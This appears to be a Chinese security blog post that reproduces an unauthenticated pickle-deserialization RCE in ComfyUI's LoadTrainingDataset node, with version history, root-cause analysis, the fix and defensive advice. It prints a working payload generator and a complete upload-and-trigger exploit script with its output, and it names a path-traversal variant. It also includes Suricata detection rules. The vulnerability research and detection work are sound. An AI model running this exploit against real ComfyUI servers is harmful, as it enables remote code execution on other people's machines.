ComfyUI 9.3 分反序列化 RCE 实测:官方没当漏洞修的"唯一漏网之鱼"
本文首发实验环境与全部结论均为本人实测。漏洞编号 CVE-2026-68771,影响 ComfyUI v0.22.0 ~ v0.25.0,v0.26.0 修复。所有测试均在本地隔离虚拟机内进行,请勿对未授权目标复现。
ComfyUI 9.3 分反序列化 RCE 实测:官方没当漏洞修的"唯一漏网之鱼"
本文首发实验环境与全部结论均为本人实测。漏洞编号 CVE-2026-68771,影响 ComfyUI v0.22.0 ~ v0.25.0,v0.26.0 修复。所有测试均在本地隔离虚拟机内进行,请勿对未授权目标复现。
一、为什么盯上这个洞
玩过本地 AI 绘图的应该都认识 ComfyUI——节点式工作流 Stable Diffusion 前端,GitHub star 数万级别的那种,在本地 AI 绘图圈子里它几乎是标配。但真正让我起意写这篇文章的,是 Cloud Security Alliance 今年三月份的一份报告:Censys 观测到超过一千个暴露在公网的 ComfyUI 实例被挖矿僵尸网络批量打穿,利用的是 ComfyUI-Manager 的另一个洞。整个攻击过程完全自动化,实例上线到被植入挖矿任务只需要很短时间。
也就是说,ComfyUI 的攻击面已经不是"理论上值得关注",而是有真实的人在批量收割。顺着这个线索,我把 ComfyUI 主仓库最近的 commit 翻了一遍;2026 年 7 月底,VulnCheck 披露了 CVE-2026-68771:ComfyUI 自带的 LoadTrainingDataset 节点反序列化任意代码执行,CVSS 9.3(VulnCheck 评分),无认证利用,两个 HTTP 请求拿下服务器。
两个请求拿下一个 9.3 分,这个描述足够抓眼球,但我更感兴趣的是另一件事:这个洞的修复 commit 官方压根没说这是安全修复,commit message 的措辞是 harden(加固),理由是"新版本 PyTorch 默认已经是 weights_only 了,这里加上只是防御纵深"。翻译一下就是:官方觉得这不是洞,是顺手补一刀。
问题是,真的所有人都用新版 PyTorch 吗?我决定把整个利用链亲手打一遍,顺便把版本考古做扎实——因为搜中文资料的时候我发现,几乎所有转述文章都说"官方已在 0.23.1 修复",而这句话本身就是错的。
二、漏洞信息与版本考古
先把公开信息摆出来。CVE-2026-68771,CWE-502(反序列化不可信数据),GitHub 上有一条自动生成的 advisory(GHSA-6p72-9j26-4rmx,Unreviewed 级别,2026 年 8 月 1 日发布),描述只覆盖 v0.23.0。Comfy-Org 官方自己没有发布过 reviewed 级别的安全公告,这一点后面讨论官方态度时会再提。
要搞清楚影响范围,得从代码考古做起。 LoadTrainingDataset 这个节点不是 ComfyUI 的老节点,它随 PR #11117(Resolution bucketing and Trainer implementation refactoring,训练器重构)在 2025 年 12 月 18 日合入主干。这次重构把训练数据集按"分辨率分桶"切成一个个分片文件保存,加载时再合并——反序列化就发生在加载这一步。
我逐个版本拉了源码比对(方法很简单:用 GitHub API 查每个 tag 下 comfy_extras/nodes_dataset.py 的内容),结论如下:
版本 | 发布日期 | LoadTrainingDataset 状态 |
v0.21.x | 2025 年 12 月前 | 节点不存在,不受影响 |
v0.22.0 | 2026-05-20 | 存在, |
v0.23.0 | 2026-06-01 | 存在,带洞(实测) |
v0.24.0 | 2026-06-03 | 存在,带洞 |
v0.25.0 | 2026-06-16 | 存在,带洞(实测) |
修复 commit 94ee49b | 2026-06-18 | 加 |
v0.26.0 | 2026-06-23 | 已修复 |
见下图,整个时间线一目了然。这里要把两个时间尺度分开说:漏洞代码从合入主干到被修复,存在了整整半年(2025-12-18 到 2026-06-18);但普通用户真正暴露在攻击面下,是从 5 月 20 日 v0.22.0 发布到 6 月 23 日 v0.26.0 修复——五个星期,横跨四个正式 release。
这里有个值得单独拎出来的事实:v0.23.1 这个版本根本不存在。 ComfyUI 的版本序列是 v0.23.0 直接跳到 v0.24.0,所以中文社区大量转述的"官方已在 0.23.1 修复"是以讹传讹——写这些文章的人大概率没看过仓库,只是互相抄。而且实际受影响范围比"v0.23.0 及更早"宽得多,四个正式版本都中招,直到 v0.26.0 才真正修复。CVE 数据库的条目同样是模糊的(GHSA 描述只写了 v0.23.0),这类"advisory 版本范围和实际代码状态对不上"的情况,在追 AI 应用漏洞的时候得多留个心眼。
三、根因分析:为什么会有一行裸调的 torch.load
3.1 漏洞点
漏洞代码在 comfy_extras/nodes_dataset.py。先看数据是怎么来的:配套的 SaveTrainingDataset 节点会把训练数据集切成固定大小的分片,文件名形如 shard_0000.pkl,用 torch.save 序列化后存进 output 目录(支持在 folder_name 参数里指定子文件夹,传空字符串就是根目录)。LoadTrainingDataset 则是逆操作——从 output 目录找到所有分片,加载、合并、返回给下游节点:
class LoadTrainingDataset(io.ComfyNode):
@classmethod
def define_schema(cls):
return io.Schema(
node_id="LoadTrainingDataset",
category="training",
is_experimental=True,
inputs=[
io.String.String("folder_name", default=""),
],
outputs=[io.Latent.Output("latents"), io.Conditioning.Output("conditioning")],
)
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
# ...
shard_files = [f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")]
# ...
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # <-- 漏洞点,v0.23.0 第 1568 行
all_latents.extend(shard_data["latents"])
all_conditioning.extend(shard_data["conditioning"])关键就在第 1568 行的 torch.load(f)。接触过 Python 反序列化的读者应该知道,torch.load 底层就是 pickle,而 pickle 反序列化时 __reduce__ 方法返回的 (callable, args) 会被直接调用——这是 Python 反序列化武器化最经典的一条路。
3.2 "唯一漏网之鱼"是怎么漏的
有意思的是,ComfyUI 的开发团队不是不知道这个风险。修复 commit 94ee49b 的 message 里写得很直白:这是整个代码库里唯一一处 没传 weights_only=True 的 torch.load 调用。模型加载的核心入口 comfy/utils.py 的 load_torch_file() 早就传了 weights_only=True,甚至仓库里注释都写着"recent PyTorch defaults to weights_only=True, so this is defense-in-depth"。
为什么偏偏训练数据集这条路径漏了?我的理解是:模型加载路径是所有用户每天都要走的路,出过事、被审计过;而训练数据集是 2025 年底刚加进来的实验功能(节点标记 is_experimental=True),写代码的人可能默认"分片文件是 SaveTrainingDataset 自己存的,格式可信"——典型的信任边界错位:文件放在服务器自己的 output 目录里,不代表放进来的内容就可信。
见下图,正常流程和攻击流程的差异就一条:output 目录里的 shard_*.pkl 是否真的由 SaveTrainingDataset 生成。
3.3 上传面:怎么把恶意分片送进 output 目录
有了反序列化点还不够,还得能控制 output 目录的内容。ComfyUI 默认开 8188 端口,无认证。文件上传接口 /upload/image 我翻了一下 server.py 的实现,有三个关键点:
@routes.post("/upload/image") # server.py L450(v0.23.0)
async def upload_image(request):
post = await request.post()
return image_upload(post) # 上传逻辑都在这里
def image_upload(post, image_save_function=None): # server.py L385,节选
image = post.get("image")
image_upload_type = post.get("type")
upload_dir, image_upload_type = get_dir_by_type(image_upload_type) # input / temp / output
...
filename = image.filename
subfolder = post.get("subfolder", "")
filepath = os.path.abspath(os.path.join(upload_dir, os.path.normpath(subfolder), filename))
if os.path.commonpath((upload_dir, filepath)) != upload_dir: # 防目录穿越,仅此一道
return web.Response(status=400)
...
# splitext 只用于重名判断——没有任何扩展名白名单,.pkl 原样放行type参数支持output,恶意文件可以直接写进 output 目录,不需要任何其他前置条件;- 没有扩展名白名单,
.pkl文件原样落盘; - 文件名完全可控,取
shard_0000.pkl这样的名字毫无障碍。
上传和反序列化两个点拼起来,攻击链就完整了:POST /upload/image 送恶意分片进 output 目录,POST /prompt 触发 LoadTrainingDataset 去加载它。
顺带说一句设计层面的问题:ComfyUI 的 API 无认证这件事本身一直在社区里被讨论,2024 年就有用户开 discussion 请求默认开启认证,维护者的回复口径是:不使用 --listen 对外监听就相对安全,更稳妥的做法是放进 Docker 之类的沙箱环境——安全责任交还给部署者。这个立场对个人用户勉强成立,但这份挖矿报告里被打穿的恰恰是把 ComfyUI 暴露到公网的人——"默认信任"的设计叠加"暴露面管理缺位",就是这一千多个实例的现状。
四、环境搭建:三个坑
复现环境我放在 VMware 里的 Ubuntu 24.04 虚拟机上(4 核、8G 内存分配、IP 192.168.3.8),只需要一台机器。
4.1 版本选择:必须 pin 在 torch 2.5.1
这是整个实验最重要的一个前提。PyTorch 从 2.6 开始把 torch.load 的 weights_only 默认值从 False 翻转成了 True——也就是说在 torch 2.6+ 的环境里,即使代码没修复,任意对象的反序列化也会被默认拦截。ComfyUI 的 requirements.txt 里 torch 是不带版本号的,2026 年 9 月的今天直接 pip install 会装到 2.7+,payload 打不进去。
所以必须明确装 torch 2.5.1。理论上 CPU 版就够了,但我用清华镜像装的时候镜像把 CUDA 全家桶(约 6GB)一起拉了下来——这台虚拟机磁盘只剩 15G,装完只剩 5G,整个下载安装过程比预想的慢不少。想省空间的读者建议明确走 CPU 版的 index-url,别学我。
# 关键:torch 2.5.1(2.6+ 默认 weights_only=True,payload 会被拦)
# 依赖统一走清华镜像,国内直连 PyPI 会超时(详见 4.3)
python3 -m venv venv && source venv/bin/activate
pip install torch==2.5.1 torchvision==0.20.1 torchaudio==2.5.1 -i https://pypi.tuna.tsinghua.edu.cn/simple
git clone https://github.com/comfyanonymous/ComfyUI && cd ComfyUI # 直连被重置的话,改用 4.3 的 codeload 方式
git checkout v0.23.0
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
python main.py --cpu --port 81884.2 第二个坑:图校验会拒绝"纯利用"工作流
这个坑预验证的时候才发现。ComfyUI 的 /prompt 接口在入队前会做图校验,要求工作流里至少有一个输出类节点(SaveImage、PreviewImage 这类)。如果你只提交一个孤零零的 LoadTrainingDataset 节点,会直接收到 prompt_no_outputs 拒绝——漏洞节点本身不输出文件,请求根本到不了执行阶段。
绕过很简单:把 LoadTrainingDataset 的 latents 输出接一个 PreviewAny 节点(ComfyUI 自带节点,接受任意类型输入且属于输出节点)。这个节点纯粹是给校验器看的,RCE 在 LoadTrainingDataset 执行的那一刻就已经完成了。
4.3 第三个坑:GitHub 直连不稳
国内网络环境下虚拟机直连 GitHub clone 会被重置,我是用宿主机下载 codeload 源码包再 scp 进虚拟机的,具体就是取 https://codeload.github.com/comfyanonymous/ComfyUI/tar.gz/refs/tags/v0.23.0,传进虚拟机解压后把目录名改成 ComfyUI,后续命令不变。PyPI 也有同样的问题(files.pythonhosted.org 解析超时),依赖统一走清华镜像最省事。
环境验收标准:curl http://127.0.0.1:8188/ 返回 200,且 python -c "import torch; print(torch.__version__)" 输出 2.5.1+cu124 或 2.5.1。
五、实战复现
5.1 构造恶意分片
构造 payload 的思路很直接:一个 __reduce__ 返回 (os.system, (cmd,)) 的类,外面套一层和 SaveTrainingDataset 正常输出一致的 dict 结构(latents 和 conditioning 两个键)。反序列化发生在 torch.load 调用内部,__reduce__ 在 unpickle 阶段就会执行,根本轮不到节点的后续逻辑报错。
# gen_payload.py
import os
import torch
class RCE:
def __reduce__(self):
# 命令硬编码,避免命令行传参被 shell 引号拆散
return (os.system, ("id > /tmp/pwned 2>&1",))
data = {"latents": [RCE()], "conditioning": []}
torch.save(data, "shard_0000.pkl")
print("[+] payload written: shard_0000.pkl")这里有两个细节值得说。第一,为什么要用真 torch.save 打包而不是直接 pickle.dump 一个对象就完事——torch.load 在新版本里会先探测文件格式,直接裸 pickle 的文件在部分版本组合下会走异常分支,用 torch.save 生成标准 PyTorch zip 格式是最稳的路径,也和真实攻击者的行为一致。第二,命令为什么硬编码在脚本里:我最初通过 SSH 远程执行这段脚本时把命令当参数传,结果 PowerShell 到 SSH 到 bash 三层引号剥离把 id > /tmp/pwned 拆散了,实际进 payload 的只有 id,命令执行了,但 marker 文件(提前约定路径的标记文件,用来验证命令真的跑过)没落地,排查了好一会儿——排查的时候反而先看到 uid=1000(ookini) 打在了终端上,算是这个坑带来的意外"成功"证明。
5.2 上传与触发
完整的利用脚本如下。三步:上传、触发、轮询执行状态。
# exploit_chain.py
import sys, time, requests
BASE = f"http://{sys.argv[1]}" if len(sys.argv) > 1 else "http://127.0.0.1:8188"
PAYLOAD = "shard_0000.pkl"
# 1) 上传: type=output 直写 output 目录, 无扩展名校验
with open(PAYLOAD, "rb") as f:
r = requests.post(
f"{BASE}/upload/image",
files={"image": (PAYLOAD, f, "application/octet-stream")},
data={"type": "output", "overwrite": "true"},
)
print("[1] upload:", r.status_code, r.text.strip())
# 2) 触发: folder_name 为空 -> 直接枚举 output 根目录
# PreviewAny 仅用于满足"工作流必须含输出节点"的图校验
workflow = {
"prompt": {
"42": {
"class_type": "LoadTrainingDataset",
"inputs": {"folder_name": ""},
},
"43": {
"class_type": "PreviewAny",
"inputs": {"source": ["42", 0]},
},
},
"client_id": "poc",
}
r = requests.post(f"{BASE}/prompt", json=workflow)
print("[2] prompt:", r.status_code, r.text.strip())
prompt_id = r.json().get("prompt_id", "")
# 3) 轮询执行结果
for _ in range(20):
time.sleep(0.5)
h = requests.get(f"{BASE}/history/{prompt_id}").json()
if prompt_id in h:
st = h[prompt_id]["status"]
print("[3] status:", st.get("status_str"), "| completed:", st.get("completed"))
break逐个说关键点。上传这一步用 multipart/form-data,image 字段放文件内容,type=output 让 ComfyUI 把文件写进 output 目录。触发这一步,folder_name 传空字符串时 os.path.join(output_dir, "") 就是 output 目录本身,节点会枚举到我们上传的 shard_0000.pkl(startswith("shard_") 且 endswith(".pkl") 两个条件都满足)。
跑起来的输出长这样:
[1] upload: 200 {"name": "shard_0000.pkl", "subfolder": "", "type": "output"}
[2] prompt: 200 {"prompt_id": "b3ff8239-...", "number": 3, "node_errors": {}}
[3] status: success | completed: True/prompt 返回 200 且 status 是 success——注意这里连报错都没有,节点逻辑跑得干干净净,因为 os.system 的返回值(int)被顺利 extend 进了 latents 列表,整个反序列化过程在 ComfyUI 看来是一次"正常的训练数据集加载"。/history 接口的响应里也只有一个正常完成的节点执行记录,没有任何异常痕迹。换个角度说,如果受害者事后只看 ComfyUI 的界面和执行历史,什么都不会发现——命令执行的副作用完全发生在 HTTP 响应之外,这也是无文件落地 payload(比如直接反弹 shell)在这个场景里更隐蔽的原因。
验证命令执行结果:
$ cat /tmp/pwned
uid=1000(ookini) gid=1000(ookini) 组=1000(ookini),4(adm),24(cdrom),27(sudo),...marker 文件内容是 id 命令的输出,执行身份就是 ComfyUI 进程的运行用户。两个 HTTP 请求,无认证,RCE 落地。顺带留意组列表里有个 docker 组——很多人图省事直接用日常用户跑 ComfyUI,进程继承的就是这种全量组权限,拿下它离拿下宿主机控制权只差一步,这也是后面防御部分要把"运行时降权"单独列一层的原因。实际攻击场景里,这一步换成反弹 shell、写 crontab、下载挖矿二进制都只是 payload 字符串的事。
还有一个我读代码时注意到的点,顺手记录,写入侧和读取侧要分开看:写入侧 type 参数本身就支持 input/temp/output 三个目录,把恶意分片传进 input 目录不需要任何穿越;而读取侧 folder_name 的基准固定是 output 目录,且没有做任何路径清洗,传 ../input 就能穿到 input 目录去加载。两边拼起来意味着:即使未来官方把 type=output 这个上传路径收紧了,只要 torch.load 不修,攻击者手里还有"传到别的目录 + folder_name 穿越"这条备用路线。这次实测里 type=output 直写 output 目录已经足够,我没有再去验证穿越这条线,但这个"同一接口上的冗余攻击面"现象值得记一笔。
5.3 对照组:weights_only=True 的拦截效果
修复版本用的就是加 weights_only=True,我把同一份 payload 在这个参数下再跑一遍做对照:
import torch
# 对照读取的是上传后落在服务器 output 目录里的那份分片
with open("/home/ookini/comfyui-vuln/output/shard_0000.pkl", "rb") as f:
torch.load(f, weights_only=True)结果是被直接拒绝,抛出 UnpicklingError,提示 Weights only load failed——weights_only 模式下 Unpickler 只允许还原 tensor 和基本类型,os.system 这种全局函数引用进不了白名单,反序列化在还原阶段就中断了。命令没有执行,marker 文件也不存在。
见下图,torch 2.5 和 2.6 的行为差异是理解这个漏洞威胁模型的关键:
六、防御视角与官方态度
6.1 那一行修复
修复本身非常克制,就是漏洞点的参数补全:
--- a/comfy_extras/nodes_dataset.py
+++ b/comfy_extras/nodes_dataset.py
@@ ... @@
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)配合修复 commit message 的措辞(harden / defense-in-depth,即"加固 / 防御纵深"),可以比较确定地说:官方没有把这个当安全漏洞处理。没有 CVE 的官方关联声明,没有 reviewed 级别的 GitHub advisory,PR #14543 走的是普通代码加固流程。从维护者视角这个选择有一定道理——新 torch 默认值翻转后,这段代码在"标准安装"下确实打不动了。但这个理由有个隐含假设:用户跑的是新版 torch。
现实是 pin 在 torch 2.5.x 及以下的 ComfyUI 用户量大得惊人。原因不难理解:大量自定义节点和教程明确要求特定 torch 版本,ComfyUI 生态里"升级 torch = 全家节点重测"是个劝退成本很高的操作。安全默认值翻转是 PyTorch 做的努力,但从默认值翻转到生态真正迁移完成之间,有一段很长的窗口期——这段窗口期里,"官方认为不是洞"和"实际可被利用"同时成立。Censys 看到的那些挖矿实例,就是这个矛盾的注脚。
6.2 部署侧能做什么
见下图,按纵深层次过一遍:
- 升级路径:直接升 v0.26.0+(核心修复),同时把 torch 升到 2.6+(默认值兜底)。两件事最好都做,因为类似这次"唯一漏网之鱼"的情况完全可能再出现——代码修复依赖开发者自觉,运行时默认值是全局兜底。
- 网络边界:8188 端口绝不裸奔公网。远程使用走带认证的反向代理,或者至少加防火墙白名单。挖矿活动的受害者几乎全是裸奔实例。
- 上传面收敛:如果没有训练相关需求,
/upload/image的type=output路径基本没有正常业务价值,可以在反代层限制。 - 检测:这套攻击在 HTTP 层的特征很明显——POST
/upload/image的 multipart 里携带非图片扩展名(.pkl/.pth/.ckpt)的 part,紧接着 POST/prompt引用LoadTrainingDataset或其他训练类节点。Suricata 或 Nginx 日志侧都能比较低成本地覆盖。我自己之前用 Suricata(开源网络入侵检测系统,底层就是抓包匹配规则)做过 LLM API 流量检测,顺手写了两条示例规则(Suricata 8 语法,部署前请按实际环境测试):
alert http $EXTERNAL_NET any -> $HOME_NET 8188 (msg:"ComfyUI upload of pickle file (possible CVE-2026-68771 stage 1)"; http.method; content:"POST"; http.uri; content:"/upload/image"; http.request_body; content:"filename="; nocase; pcre:"/filename=\"[^\"]*\.(pkl|pth|ckpt|pt)\"/i"; sid:202606871; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET 8188 (msg:"ComfyUI LoadTrainingDataset trigger (possible CVE-2026-68771 stage 2)"; http.method; content:"POST"; http.uri; content:"/prompt"; http.request_body; content:"LoadTrainingDataset"; sid:202606872; rev:1;)两条规则分别对应利用链的两个阶段:分片上传和节点触发。第一阶段是通用检测(任何 pickle 类文件上传都值得警惕),第二阶段则特异性很强——正常业务里训练节点的调用频率极低,命中即告警基本没有误报负担。需要提醒的是,这两条规则看的是已发生的攻击行为,属于"最后一道网",前置的边界收敛(公网不暴露、反代加认证)才是收益更高的部分。
- 运行时:对自托管 AI 服务做进程降权(专用低权限用户跑 ComfyUI),这次实验里 marker 文件的 uid 就是进程 uid——进程权限决定了 RCE 的实际破坏半径。
七、写在最后
这个洞复现下来,让我印象最深的不是攻击本身——两个请求的利用链,技术含量在 pickle 武器化这个"老手艺"面前几乎为零——而是整条故事线里的信息噪音。
VulnCheck 披露时标的影响版本是 "ComfyUI <= 0.23.0",我实测发现 v0.24.0、v0.25.0 同样带洞;中文自媒体说 "0.23.1 修复",而这个版本号根本不存在;官方说这是加固不是修复;PyTorch 说 2.6 起默认安全了,但生态还 pin 在老版本上。四条信息放在一起,单独信任何一条都会得出错误的结论,只有把代码一个版本一个版本翻过去,才知道真相是:带洞代码在主干上存活了半年,随 release 暴露给用户的窗口是五个星期、四个版本,v0.26.0 才真正修复。做漏洞分析这件事,二手信息的折损比我想象的大得多。
另一个值得记录的观察是 torch.load 这个老问题的长尾效应。我之前写模型供应链投毒的文章时处理过 picklescan 对老版本 torch 格式的绕过,这次又看到 ComfyUI 在自家代码库的角落里留了一处裸调——同一个反序列化原语,在不同的产品里以不同的形态反复出现。AI 应用栈里,"文件被当作数据加载"的场景(模型、分片、工作流、缓存)远比传统 Web 多,而其中很多路径的信任假设,和传统 Web 时代序列化漏洞的教科书结论并没有本质区别。所谓 AI 安全的新问题,有很大一部分其实是老问题在新地形上的重新落位。
最后想对比一下这个洞和三月份挖矿活动用的 ComfyUI-Manager 洞(CVE-2025-67303)的差别。Manager 是可选扩展,装没装、装什么版本,用户之间差异很大;而 LoadTrainingDataset 是主仓库自带的节点,升级到 v0.22.0 之后的每一个用户都默认拥有这个攻击面,不需要任何额外安装。这也解释了为什么"主仓库自带功能的漏洞"比"扩展漏洞"更值得优先盯——它的影响面是内置的、无差别的。对做防御的人来说,这意味着如果你们环境里有 ComfyUI,光管住 Manager 是不够的,主仓库版本要单独核对。
本文全部实验在本地隔离环境完成,利用脚本和环境搭建命令已在文中给出,复现请遵守法律法规,仅用于授权测试与防御研究。
参考文献
- VulnCheck,《ComfyUI Unauthenticated RCE via LoadTrainingDataset Pickle Deserialization》,
https://www.vulncheck.com/advisories/comfyui-unauthenticated-rce-via-loadtrainingdataset-pickle-deserialization - GitHub Advisory Database,《GHSA-6p72-9j26-4rmx》,
https://github.com/advisories/GHSA-6p72-9j26-4rmx - NVD,《CVE-2026-68771 Detail》,
https://nvd.nist.gov/vuln/detail/CVE-2026-68771 - Comfy-Org,《ComfyUI fix commit 94ee49b》,
https://github.com/Comfy-Org/ComfyUI/commit/94ee49b1612824366a8631ea069b2a1fa5c73720 - Comfy-Org,《PR #11117: Resolution bucketing and Trainer implementation refactoring》,
https://github.com/Comfy-Org/ComfyUI/pull/11117 - PyTorch,《PyTorch 2.6 Release Notes(weights_only 默认值翻转)》,
https://github.com/pytorch/pytorch/releases/tag/v2.6.0 - Cloud Security Alliance,《AI Inference Under Siege: The ComfyUI Cryptomining Botnet》,
https://labs.cloudsecurityalliance.org/research/csa-research-note-ai-workload-exposure-cryptomining-20260408/ - Comfy-Org,《ComfyUI v0.26.0 Release》,
https://github.com/Comfy-Org/ComfyUI/releases/tag/v0.26.0 - 什么值得买社区,《CVE-2026-68771:ComfyUI 反序列化漏洞相关转述》,
https://www.smzdm.com/p/33056000/ - 什么值得买社区,《ComfyUI 被曝 9.3 分严重漏洞,云端部署者当心,代码执行风险已曝光》(同样转述"0.23.1 修复"),
https://post.m.smzdm.com/p/avgr0gg4/ - comfyanonymous,《ComfyUI discussion #5165:请求默认开启认证的社区讨论(维护者回复:安全责任在部署侧)》,
https://github.com/comfyanonymous/ComfyUI/discussions/5165